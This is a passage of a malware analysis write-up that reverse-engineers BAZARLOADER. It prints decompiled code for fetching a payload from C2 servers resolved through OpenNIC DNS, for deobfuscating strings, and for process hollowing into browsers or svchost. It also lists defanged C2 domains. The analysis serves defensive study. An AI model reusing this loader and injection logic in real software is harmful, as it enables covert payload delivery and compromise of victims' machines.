  return 0;
server_response_1 = server_response;
downloaded_executable_size_2 = 0;
downloaded_executable = w_w_BCryptDecrypt(
                          &main_struct->crypto_struct,
                          server_response,
                          server_response_len,
                          &downloaded_executable_size_2);
v15 = GetProcessHeap();                     // decrypt with RSA public key
HeapFree(v15, 0, server_response_1);
if ( !downloaded_executable )
  return 0;
downloaded_executable_size = downloaded_executable_size_2;
if ( downloaded_executable_size_2 <= 64 || *downloaded_executable != 0x5A4D )// check MZ header
{
  v17 = GetProcessHeap();
  v10 = downloaded_executable;
  v11 = v17;
  goto LABEL_11;
}
```

Step 6: C2 Connection Through Custom URLs

If BAZARLOADER fails to download the next stage executable from the IP addresses listed above, it attempts to resolve custom C2 domains using [OpenNIC](), a user-owned DNS community service.

To begin querying **OpenNIC**'s API, the malware first resolves the URL **"api.opennicproject.org"** and calls **InternetConnectA** to establish a connection to the site.

```
qmemcpy(&opennic_proj_API_URL_str, v50, 0x17ui64);// "api.opennicproject.org"
v3 = 0i64;
opennic_proj_API_URL_str.m256i_i8[0x17] = 0;
do
{
  opennic_proj_API_URL_str.m256i_i8[v3] = (0x37 * (opennic_proj_API_URL_str.m256i_i8[v3] - 0x56) % 0x7F + 0x7F) % 0x7F;
  ++v3;
}
while ( v3 != 0x17 );
LODWORD(v42) = 0;
LODWORD(v41) = 3;
opennic_connection_handle = w_InternetConnectA(
                              lib_struct_wininet,
                              opennic_server_struct->internet_handle,
                              &opennic_proj_API_URL_str,
                              0x1BBu,
                              0i64,
                              0i64,
                              v41,
                              v42,
                              0i64);
```

Next, it calls **HttpOpenRequestA** to create a GET request handle with the object name **"/geoip/?bare&ipv=4&wl=all&res=8"** and send the request using **HttpSendRequestA**.

By examining OpenNIC's APIs, we can break down this object name to see what BAZARLOADER is requesting. The **"bare"** parameter requests to only list the DNS server IP address, the **"ipv"** parameter requests to only list IPv4 servers, the **"wl"** parameter requests to only list whitelisted servers, and the **"res"** parameter requests to list 8 servers only.

To test this, we can simply paste the path below to a browser of our choosing.

```
api.opennicproject.org/geoip/?bare&ipv=4&wl=all&res=8
```

```
strcpy(HTTP_version, "HLH_");
do                                              // "1.1"
{
  *(HTTP_version + v5) = (0x1F * (*(HTTP_version + v5) - 0x5F) % 0x7F + 0x7F) % 0x7F;
  ++v5;
}
while ( v5 ≠ 4 );
v7 = 0i64;
v53 = 0;
v51.m256i_i64[0] = 0x78251144734F0A25i64;
v51.m256i_i64[1] = 0x4011441E4F4B5A77i64;
v51.m256i_i64[2] = 0x1C5A3E1C5D1E373Ei64;      // "/geoip/?bare&ipv=4&wl=all&res=8"
v51.m256i_i64[3] = 0x472C3E684F4B1E1Ci64;
HTTP_object_name = v51;
do ...
strcpy(&HTTP_verb, "?Tun");
for ...
LODWORD(v43) = 0x800000;
opennic_GET_request_handle = w_HttpOpenRequestA(
                               v6,
                               opennic_connection_handle,
                               &HTTP_verb,     // "GET"
                               &HTTP_object_name,// "/geoip/?bare&ipv=4&wl=all&res=8"
                               HTTP_version,   // "1.1"
                               0i64,
                               0i64,
                               v43,
                               0i64);
```

The malware then enters a loop to call **InternetQueryDataAvailable** and **InternetReadFile** to read the 8 **OpenNIC's** DNS servers into memory.

```
while ( w_InternetQueryDataAvailable(
          LIB_STRUCT_ARR->lib_struct_wininet,
          opennic_GET_request_handle,
          &HTTP_object_name,                 // check available length to read
          0,
          0i64) )
{
  if ...
  receive_buffer_len = content_length_2 + HTTP_object_name.m256i_u32[0];
  v19 = GetProcessHeap();
  opennic_DNS_servers = HeapReAlloc(v19, 0, opennic_recv_buffer_1, receive_buffer_len);
  opennic_recv_buffer_3 = opennic_DNS_servers;
  if ( !opennic_DNS_servers )
    goto LABEL_20;
  if ( !w_InternetReadFile(
          LIB_STRUCT_ARR->lib_struct_wininet,// read DNS server IP addresses
          opennic_GET_request_handle,
          opennic_DNS_servers + content_length_2,
          HTTP_object_name.m256i_u32[0],
          &v46) )
  {
    v25 = GetProcessHeap();
    opennic_recv_buffer_4 = opennic_recv_buffer_3;
    v24 = v25;
    goto LABEL_23;
  }
  content_length_2 += v46;
  if ( !HTTP_object_name.m256i_i32[0] )
    goto LABEL_29;
  opennic_recv_buffer_1 = opennic_recv_buffer_3;
```

For each DNS server IP address, BAZARLOADER parses it from string to int and populates the **opennic_server_struct** field in the main structure. Below is the structure used to store OpenNIC IP addresses.

```
 struct opennic_server_struct
{
   _QWORD init_server_count;
   HINTERNET opennic_internet_handle;
   DWORD opennic_server_IP_list[7];
   _BYTE gap2C[28];
   _QWORD server_count;
};
```

```
while ( *opennic_recv_buffer_5 && server_counter != 8 )
{
  opennic_server_IP.m256i_i16[0] = 0xA;
  opennic_server_IP.m256i_i8[2] = 0;
  server_IP_addr = get_next_string_with_StrSpnA(opennic_recv_buffer_5, &opennic_server_IP, &HTTP_verb);
  opennic_recv_buffer_5 = HTTP_verb;
  server_IP_addr_1 = server_IP_addr;
  v32 = lstrlenA(server_IP_addr);
  opennic_server_IP.m256i_i8[0] = 0;
  p_opennic_server_IP = &opennic_server_IP;
  v34 = 0;
  v35 = &server_IP_addr_1[v32];
  while ( 2 )
  {
    v36 = 0;
    while ( 1 )
    {
      if ( v35 <= server_IP_addr_1 )
      {
        if ( v34 > 3 )
          opennic_server_struct->opennic_server_IP_list[server_counter++] = opennic_server_IP.m256i_i32[0];
        goto LABEL_32;
      }
      v37 = *server_IP_addr_1++;
      if ( v37 - '0' > 9 )
        break;                      // parsing server IP from string to int
      v38 = p_opennic_server_IP->m256i_u8[0];
      v39 = v37 - '0' + 0xA * v38;
```

Finally, the malware decodes the following custom C2 domains, attempts to resolve them using the DNS servers, and downloads the next-stage executable.

```
 reddew28c[.]bazar
bluehail[.]bazar
whitestorm9p[.]bazar
```

For each of these custom domains, BAZARLOADER calls **DnsQuery_A** to query a DNS Resource Record from **OpenNIC's** servers to resolve the C2 server's IP address.

```
for ( i = LODWORD(opennic_server_struct->server_count) - 1; i >= 0; --i )
{
  opennic_DNS_server = opennic_server_struct->opennic_server_IP_list[i];
  DNS_record = 0i64;
  ip4_array.AddrArray[0] = opennic_DNS_server;
  ip4_array.AddrCount = 1;
  DNS_status = w_DnsQuery_A(
                 LIB_STRUCT_ARR->lib_struct_dnsapi,
                 custom_C2_domain,
                 DNS_TYPE_A,
                 DNS_QUERY_BYPASS_CACHE,      // "Bypasses the resolver cache on the lookup."
                 &ip4_array,
                 &DNS_record,
                 0i64);
  switch ( DNS_status )
  {
    case DNS_ERROR_RCODE_NO_ERROR:
      IpAddress = DNS_record->Data.A.IpAddress;
      w_DnsFree(LIB_STRUCT_ARR->lib_struct_dnsapi, DNS_record, 1u);
      return IpAddress;                       // return C2's IP address
    case DNS_ERROR_RCODE_NAME_ERROR:
      w_DnsFree(LIB_STRUCT_ARR->lib_struct_dnsapi, DNS_record, 1u);
      return 0xFFFFFFFF;
    case ERROR_TIMEOUT:
    case DNS_ERROR_RCODE_SERVER_FAILURE:
      sub_204141860(opennic_server_struct, i);
      break;
  }
  w_DnsFree(LIB_STRUCT_ARR->lib_struct_dnsapi, DNS_record, 1u);
```

After checking if the IP address is valid, the malware tries connecting to it and requests to download the next stage executable similar to what we have seen in the previous step.

```
C2_domain_IP_address = manual_DNS_resolve(&main_struct->opennic_DNS_server_struct, C2_domain);
if ( C2_domain_IP_address == 0xFFFFFFFF )
  return 0;
p_C2_domain_IP_address = &C2_domain_IP_address;
do
  *p_C2_domain_IP_address++ ^= '\xFF\xFF\xFF\xFE';
while ( &v10 != p_C2_domain_IP_address );
if ( check_valid_IP_address(C2_domain_IP_address) )
  return 0;
a3[0x1B] = 0;
lib_struct_user32 = LIB_STRUCT_ARR->lib_struct_user32;
qmemcpy(v11, "\x1B``IzPppv\x1BF\vv\x1BF\vv\x1BF\vv\x1BFPvF@", sizeof(v11));
qmemcpy(a3, v11, 0x1Bui64);
for ( i = 0i64; i != 0x1B; ++i )
  a3[i] = ((0xFFFFFFD4 * (a3[i] - 0x40)) % 0x7F + 0x7F) % 0x7F;// "https://%hu.%hu.%hu.%hu:%u"
w_w_wvsprintfA(lib_struct_user32, C2_raw_IP, a3, C2_domain_IP_address_field_list);
result = try_connecting_to_IP_url(main_struct, C2_raw_IP);
if ( result )
{
  v8 = result;
  add_IP_to_C2_list(main_struct, C2_raw_IP);
  return v8;
}
return result;
```

Step 5: Injection Through Process Hollowing

After successfully downloading the next stage executable, BAZARLOADER begins the injection functionality to launch it from another process.

For this functionality, BAZARLOADER populates the following structure.

```
 struct injection_struct
{
   HANDLE browser_proc_handle;
   PVOID full_exec_command;
   PVOID thread_curr_directory;
   PVOID browser_environment_struct;
   STARTUPINFOA thread_startup_info;
   LPPROC_THREAD_ATTRIBUTE_LIST proc_thread_attr_list;
};
```

First, it checks if its process is elevated with admin privileges. It calls **GetCurrentProcess** and **OpenProcessToken** to retrieve its own process token handle and **GetTokenInformation** to get the token's elevation information.

```
__int64 is_process_elevated()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  lib_struct_kernel32 = LIB_STRUCT_ARR->lib_struct_kernel32;
  lib_struct_advapi32 = LIB_STRUCT_ARR->lib_struct_advapi32;
  proc_token[0] = 0i64;
  token_elevation.TokenIsElevated = 0;
  v6 = 4;
  curr_proc_handle = w_GetCurrentProcess(lib_struct_kernel32);
  result = w_OpenProcessToken(lib_struct_advapi32, curr_proc_handle, 8u, proc_token);
  if ( result )
  {
    LODWORD(v5) = v6;
    result = w_GetTokenInformation(
               LIB_STRUCT_ARR->lib_struct_advapi32,
               proc_token[0],
               TokenElevation,
               &token_elevation,
               v5,
               &v6);
    w_CloseHandle(LIB_STRUCT_ARR->lib_struct_kernel32, proc_token[0]);
    if ( result )
      return token_elevation.TokenIsElevated;
  }
  return result;
}
```

If the process is not elevated, it resolves the following processes' names and tries to populate the injection structure's fields.

```
 chrome.exe
firefox.exe
msedge.exe
```

```
browser_exe_str_index = 0i64;
browser_exe_str_list[2] = w_StrDupA(v7, &user_proc_params);// "msedge.exe"
while ( 1 )
{
  browser_exe_str = browser_exe_str_list[browser_exe_str_index];
  browser_proc_ID = 0;
  browser_proc_ID_1 = get_process_ID(browser_exe_str, &browser_proc_ID);
  browser_proc_ID_2 = browser_proc_ID_1;
  if ( !browser_proc_ID_1 )
    goto LABEL_40;
  if ( !browser_proc_ID )
    browser_proc_ID = browser_proc_ID_1;
  browser_proc_handle = w_OpenProcess(LIB_STRUCT_ARR->lib_struct_kernel32, 0x410i64, 0i64, browser_proc_ID);
  if ( !browser_proc_handle )
    goto LABEL_40;
  browser_proc_is_64_bit_proc = 0;
  if ( !w_IsWow64Process(LIB_STRUCT_ARR->lib_struct_kernel32, browser_proc_handle, &browser_proc_is_64_bit_proc)
    || browser_proc_is_64_bit_proc
    || !read_process_user_proc_params(browser_proc_handle, &user_proc_params)
    || (process_command_line = read_process_memory(browser_proc_handle, &user_proc_params.CommandLine)) == 0i64 )
  {
    w_CloseHandle(LIB_STRUCT_ARR->lib_struct_kernel32, browser_proc_handle);
    goto LABEL_40;
  }
```

For each process name, the malware enumerates the process's snapshot to retrieve its ID and calls **OpenProcess** to get its handle.

To populate the **full_exec_command** and **thread_curr_directory** fields which contain the process's command line and full path, BAZARLOADER first extracts the process parameters from the Process Environment Block (PEB).

To access the PEB, the malware calls **NtQueryInformationProcess** to retrieve the PEB's adress and calls **ReadProcessMemory** to read the PEB into memory.

```
_BOOL8 __fastcall read_process_PEB(__int64 ProcessHandle, int output)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  ProcessHandle_1 = ProcessHandle;
  LODWORD(v6) = 0x30;
  InformationProcess = w_NtQueryInformationProcess(
                         LIB_STRUCT_ARR->lib_struct_rpcrt4,
                         ProcessHandle,
                         ProcessBasicInformation,
                         &process_basic_info,
                         v6,
                         0i64);
  result = 0i64;
  if ( InformationProcess >= 0 )
    return w_ReadProcessMemory(
             LIB_STRUCT_ARR->lib_struct_kernel32,
             ProcessHandle_1,
             process_basic_info.PebBaseAddress,
             output,
             0x2C8i64,
             0i64) != 0;
  return result;
}
```

Next, it calls **ReadProcessMemory** to read the process parameters from the process's memory.

```
_BOOL8 __fastcall read_process_user_proc_params(__int64 process_handle, int a2)
{
  int process_handle_1; // r12d
  _BOOL8 result; // rax
  PEB process_PEB; // [rsp+38h] [rbp-2D0h] OVERLAPPED BYREF

  LODWORD(process_PEB.AppCompatInfo) = a2;
  process_handle_1 = process_handle;
  result = read_process_PEB(process_handle, &process_PEB);
  if ( result )
    return w_ReadProcessMemory(
             LIB_STRUCT_ARR->lib_struct_kernel32,
             process_handle_1,
             process_PEB.ProcessParameters,
             process_PEB.AppCompatInfo,
             0x3F8i64,
             0i64) != 0;
  return result;
}
```

With the process parameter **RTL_USER_PROCESS_PARAMETERS** structure, BAZARLOADER reads the process's command line and full path to populate the injection structure.

```
if ( !w_IsWow64Process(LIB_STRUCT_ARR->lib_struct_kernel32, browser_proc_handle, &browser_proc_is_64_bit_proc)
  || browser_proc_is_64_bit_proc
  || !read_process_user_proc_params(browser_proc_handle, &user_proc_params)
  || (process_command_line = read_process_memory(browser_proc_handle, &user_proc_params.CommandLine)) == 0i64 )
{
  w_CloseHandle(LIB_STRUCT_ARR->lib_struct_kernel32, browser_proc_handle);
  goto LABEL_40;
}
process_curr_dir_DOS_path = read_process_memory(browser_proc_handle, &user_proc_params.CurrentDirectory.DosPath);
browser_proc_environment = 0i64;
v51 = 0i64;
```

Similarly, it also uses the process parameter to access the browser's environment block and writes it to the injection structure.

```
v4 = process_handle;
if ( read_process_user_proc_params(process_handle, &process_parameters)
  && (dwBytes = LODWORD(process_parameters.EnvironmentSize),
      v7 = GetProcessHeap(),
      heap_buffer = HeapAlloc(v7, 0, dwBytes),
      (heap_buffer_1 = heap_buffer) != 0i64) )
{
  ProcessMemory = w_ReadProcessMemory(
                    LIB_STRUCT_ARR->lib_struct_kernel32,
                    v4,
                    process_parameters.Environment,
                    heap_buffer,
                    LODWORD(process_parameters.EnvironmentSize),
                    0i64);
  if ( ProcessMemory )
  {
    EnvironmentSize_low = LODWORD(process_parameters.EnvironmentSize);
    *output = heap_buffer_1;
    ProcessMemory = 1;
    *a3 = EnvironmentSize_low;
  }
  else
  {
    ProcessHeap = GetProcessHeap();
    HeapFree(ProcessHeap, 0, heap_buffer_1);
  }
}
```

```
if ( w_InitializeProcThreadAttributeList(LIB_STRUCT_ARR->lib_struct_kernel32, lpAttributeList, 2, 0, &v53) )
{
  v23 = 0i64;
  do...
  w_UpdateProcThreadAttribute(
    LIB_STRUCT_ARR->lib_struct_kernel32,
    lpAttributeList,
    0,
    PROC_THREAD_ATTRIBUTE_INPUT,
    injection_struct,
    8i64,
    0i64,
    0i64);
  lib_struct_kernel32 = LIB_STRUCT_ARR->lib_struct_kernel32;
  v50 = 0xFFFFFFFF;
  w_UpdateProcThreadAttribute(lib_struct_kernel32, lpAttributeList, 0, 0x2000B, &v50, 8i64, 0i64, 0i64);
  injection_struct->browser_proc_handle = browser_proc_handle_1;
  injection_struct->proc_thread_attr_list = lpAttributeList;
  injection_struct->full_exec_command = process_command_line;
  injection_struct->thread_curr_directory = process_curr_dir_DOS_path;
  injection_struct->browser_environment_struct = browser_proc_environment;

  injection_struct->thread_startup_info.cb = 0x70;
  return 1i64;
```

If BAZARLOADER has admin privilege, instead of a browser's process, it tries to populate the injection structure with a **svchost.exe** process from the following command line.

```
\\system32\\svchost.exe -k unistackSvcGroup
```

Next, using the injection struct, the malware calls **CreateProcessA** to create the target process in the suspended state to perform process hollowing.

```
if ( injection_struct.full_exec_command )
{
  p_proc_info_struct = &proc_info_struct;
  v35 = 6i64;
  browser_environment_block = injection_struct.browser_environment_struct;
  while ( v35 )
  {
    LODWORD(p_proc_info_struct->hProcess) = 0;
    p_proc_info_struct = (p_proc_info_struct + 4);
    --v35;
  }
  v37 = process_injection_to_launch_exe(
          command_line_to_execute,
          downloaded_executable,
          downloaded_executable_size,
          browser_environment_block,
          injection_struct.thread_curr_directory,
          &injection_struct.thread_startup_info,
          &proc_info_struct);
  clean_up(&injection_struct.browser_proc_handle);
```

```
__int64 __fastcall process_injection_to_launch_exe(
        __int64 lpCommandLine,
        __int64 downloaded_executable,
        __int64 downloaded_executable_size,
        __int64 lpEnvironment,
        __int64 lpCurrentDirectory,
        __int64 lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  LODWORD(dwCreationFlags) = 0x80404;           // EXTENDED_STARTUPINFO_PRESENT | CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED
  LODWORD(bInheritHandles) = 0;
  if ( w_CreateProcessA(
         LIB_STRUCT_ARR->lib_struct_kernel32,
         0i64,
         lpCommandLine,
         0i64,
         0i64,
         bInheritHandles,
         dwCreationFlags,
         lpEnvironment,
         lpCurrentDirectory,
         lpStartupInfo,
         lpProcessInformation) )
    return process_hollowing(downloaded_executable, lpProcessInformation);
  else
    return 0i64;
```

We won’t dive too deep into this process hollowing implementation, since it’s almost the exact same implementation as seen here.

We can quickly spot that process hollowing is taking place through the Windows APIs being called. **NtUnmapViewOfSection** is called to unmap and carve out the parent’s memory. **VirtualAllocEx** and **WriteProcessMemory** are then called to allocate virtual memory in the parent’s process and write the malicious payload into it.

```
v14 = w_NtUnmapViewOfSection(LIB_STRUCT_ARR->lib_struct_rpcrt4, parent_process_info->hProcess, parent_process_base);
v6 = v14 == 0;                              // unmap parent process memory
v9 = v14;
v7 = LIB_STRUCT_ARR;
if ( v6 )
{
  v6 = w_VirtualAllocEx(
         LIB_STRUCT_ARR->lib_struct_kernel32,
         parent_process_info->hProcess,
         parent_process_base,
         mal_nt_headers->OptionalHeader.SizeOfImage,// allocate virtual buffer in the parent's process
         0x3000,
         0x40) == 0;
  v10 = LIB_STRUCT_ARR;
  if ( !v6 )
  {
    mal_image_base = mal_nt_headers->OptionalHeader.ImageBase;
    parent_process_base_1 = parent_process_base;
    mal_nt_headers->OptionalHeader.ImageBase = parent_process_base;
    mal_image_base_1 = mal_image_base;
    if ( w_WriteProcessMemory(
           v10->lib_struct_kernel32,
           parent_process_info->hProcess,
           parent_process_base_1,
           malicious_exe_base,
           mal_nt_headers->OptionalHeader.SizeOfHeaders,
           0i64) )
```

We can also see that the malware iterates through the parent's section header to find the **".reloc"** section and performs relocation on the injected image in memory.

```
*v58 = 0x355603A;
qmemcpy(&v58[4], "q6k", 3);
qmemcpy(v59, v58, 7ui64);
for ( i = 0i64; i != 7; ++i )
  v59[i] = ((0xFFFFFFD3 * (v59[i] - 0x6B)) % 0x7F + 0x7F) % 0x7F;
section_headers_2 = section_headers;
reloc_section = section_headers;
v54 = v21;
++section_headers;
reloc_str_1 = reloc_str;          // ".reloc"
if ( w_RtlCompareMemory(LIB_STRUCT_ARR->lib_struct_rpcrt4, section_headers_2, reloc_str, 6i64) == 6 )
{                                 // find reloc data directory
  reloc_section_raw = reloc_section->PointerToRawData;
  reloc_block_offset = 0;
  data_buffer_1 = pdata_buffer;
  base_relocation_table_size = mal_nt_headers->OptionalHeader.DataDirectory[5].Size;
  while ( base_relocation_table_size > reloc_block_offset )
  {
    v32 = reloc_section_raw + reloc_block_offset;
    reloc_block_offset += 8;
    p_block_header = (malicious_exe_base + v32);
    block_entry_count = reloc_block_offset + ((p_block_header->SizeOfBlock - 8) & 0xFFFFFFFE);
```

Finally, BAZARLOADER calls **SetThreadContext** to set the new entry point for the parent process and calls **ResumeThread** to resume the parent's process again, which will execute the injected executable.

```
hThread = parent_process_info->hThread;
AddressOfEntryPoint = mal_nt_headers->OptionalHeader.AddressOfEntryPoint;
thread_context.ContextFlags = 0x100002;
parent_process_base_2 = parent_process_base;
v6 = w_GetThreadContext(LIB_STRUCT_ARR->lib_struct_kernel32, hThread) == 0;
v7 = LIB_STRUCT_ARR;
if ( v6 )
  goto LABEL_32;
parent_thread_handle = parent_process_info->hThread;
v41 = LIB_STRUCT_ARR->lib_struct_kernel32;
thread_context.Rcx = AddressOfEntryPoint + parent_process_base_2;// set new entry point for thread
v6 = w_SetThreadContext(v41, parent_thread_handle, &thread_context) == 0;
v7 = LIB_STRUCT_ARR;
if ( v6 )
  goto LABEL_32;                      // resume thread to launch next stage
if ( w_ResumeThread(LIB_STRUCT_ARR->lib_struct_kernel32, parent_process_info->hThread) )
  return 1;
```

And with that, we have analyzed how BAZARLOADER downloads a remote executable and executes it using process hollowing! If you have any questions regarding the analysis, feel free to reach out to me via Twitter.
